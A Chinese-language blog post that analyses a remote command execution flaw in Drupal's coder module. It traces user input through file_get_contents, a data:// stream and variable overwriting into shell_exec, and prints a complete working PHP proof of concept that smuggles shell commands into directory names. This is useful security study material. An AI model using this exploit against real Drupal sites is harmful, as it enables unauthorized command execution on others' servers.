drupal coder模块远程命令执行漏洞分析
in 漏洞分析 with 0 comment

drupal coder模块远程命令执行漏洞分析

in 漏洞分析 with 0 comment

0x01:前言

这个漏洞是drupal的coder模块中,对dir参数没有过滤,导致的命令执行
其实挺早就看到这个洞了,一直也没时间去写,现在已经不新鲜了,安恒的博客上分析已经有了
他们是从poc角度分析的,,我这里就对这个漏洞从网站代码的角度详细说一下。

0x02:漏洞分析

在文件sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php

QQ20170521-163635@2x.png

一开始就对$path进行赋值,下面所有的操作都是跟$path有关的,
我们来看看$path是怎么来的,跟进extract_arguments()函数
QQ20170521-164606@2x.png
发现$path其实是$_GET[‘file’],
这个file参数是我们可控的,看看$path接下来怎么用到了,接着看
QQ20170521-164647@2x.png
这里代码的本意应该是取一个已经存在的文件中的内容,
文件中的是序列化的内容,但是file_get_contents是可以读入文件流的,
小伙伴应该都记得xss有个技巧是data://text/plain;base64,xxxxx
这种就是文件流的方式,file_get_contents可以直接读入,
这下$parameters也是我们可控的了,
然后下面就用foreach去取$parameters中的值的时候用了$$key,
导致了变量覆盖,更加方便后面的利用,接着看
QQ20170521-164749@2x.png
这几个参数后面都会用来取文件,不能随便赋值,要赋值为正确的文件路径,
不然会出错,导致我们的poc执行不成功,那么我们的poc中file初步定形为

array(
    "variables" => 1,
    "paths" => array(
    "modules_base" => "../../../",
    "files_base" => "../..",
    "libraries_base" => 1
)
);

接着往下看
QQ20170521-164906@2x.png
其中$theme_cache也需要被覆盖,可以不为文件,不执行if中的语句,直接赋值为1
QQ20170521-164944@2x.png
然后$upgrades,$extensions,$items参数进入了coder_upgrade_start()这个重要的函数中,
我们继续改正poc中的file

array(
    "upgrades" => ,
    "ables" => 1,
    "theme_cache" => 1,
    "extensions" => ,
    "items" => ,
    "paths" => array(
    "modules_base" => "../../../",
    "files_base" => "../..",
    "libraries_base" => 1
    )
);

跟进coder_upgrade_start()函数中
QQ20170521-165101@2x.png
一开始就规定了$upgrades,$extensions,$items必须是数组
QQ20170521-165124@2x.png
然后$items变成$item,首先带入到coder_upgrade_convert_dir()中,
我们跟进函数中看看
QQ20170521-165209@2x.png
取出$item中的old_dir和new_dir,然后去创建一个名为new_dir的空文件夹,接着看
QQ20170521-165240@2x.png
coder_upgrade_module_name()函数会扫描一下$dirname的定义的目录,如果这个目录不存在是会报错的,
这个$dirname$item[‘old_dir’]所以old_dirnew_dir应该相等
QQ20170521-165330@2x.png
$item中还有个name,所以我们的poc中还应该加name,目前poc中的file如下

array(
    "upgrades" => array(),
    "variables" => 1,
    "theme_cache" => 1,
    "extensions" => ,
    "items" => array (array("old_dir"=>"test", "new_dir"=>"test", "name"=>1)),
    "paths" => array(
    "modules_base" => "../../../",
    "files_base" => "../..",
    "libraries_base" => 1
    )
);

结束了coder_upgrade_convert_dir()函数之后,回到主函数中,往下
QQ20170521-165449@2x.png
最后参数带入了coder_upgrade_make_patche_file()中,我们跟进看看
QQ20170521-165527@2x.png
很明显,new_dir和$old_dir都被带入命令执行的地方了,最终确定我们的poc中的file为

array(
    "upgrades" => array(
        "coder_upgrade" => array(
            "module" => "coder",
            "files" => array("coder.module")
        )
    ),
    "variables" => 1,
    "theme_cache" => 1,
    "extensions" => array("module"),
    "items" => array (array("old_dir"=>"test;$cmd;", "new_dir"=>"test;$cmd;", "name"=>1)),
    "paths" => array(
        "modules_base" => "../../../",
        "files_base" => "../..",
        "libraries_base" => 1
    )
);

补全poc

<?php
$host = "http://127.0.0.1/drupal7/";
$cmd='ping www.baidu.com';
$a = array(
    "upgrades" => array(
        "coder_upgrade" => array(
            "module" => "coder",
            "files" => array("coder.module")
        )
    ),
    "variables" => 1,
    "theme_cache" => 1,
    "extensions" => array("module"),
    "items" => array (array("old_dir"=>"test;$cmd;", "new_dir"=>"test;$cmd;", "name"=>1)),
    "paths" => array(
        "modules_base" => "../../../",
        "files_base" => "../..",
        "libraries_base" => 1
    )
);
$payload = serialize($a);
file_get_contents($host . "/sites/all/modules/coder/coder_upgrade/scripts/coder_upgrade.run.php?file=data://text/plain;base64," . base64_encode($payload));
?>

测试一下,我们在代码执行的地方加个echo,方便看
QQ20170521-165650@2x.png
运行poc
QQ20170521-165715@2x.png
成功执行命令

0x03 总结

总体来说,虽然是一个插件的漏洞,危害有限,不过还是挺有意思,
由于file_get_contenet()取到的内容我们可控,
然后$$造成变量覆盖,
导致最后可控参数带入shell_exec,执行命令,
整个过程还是比较清晰,值得学习的。

Comments are closed.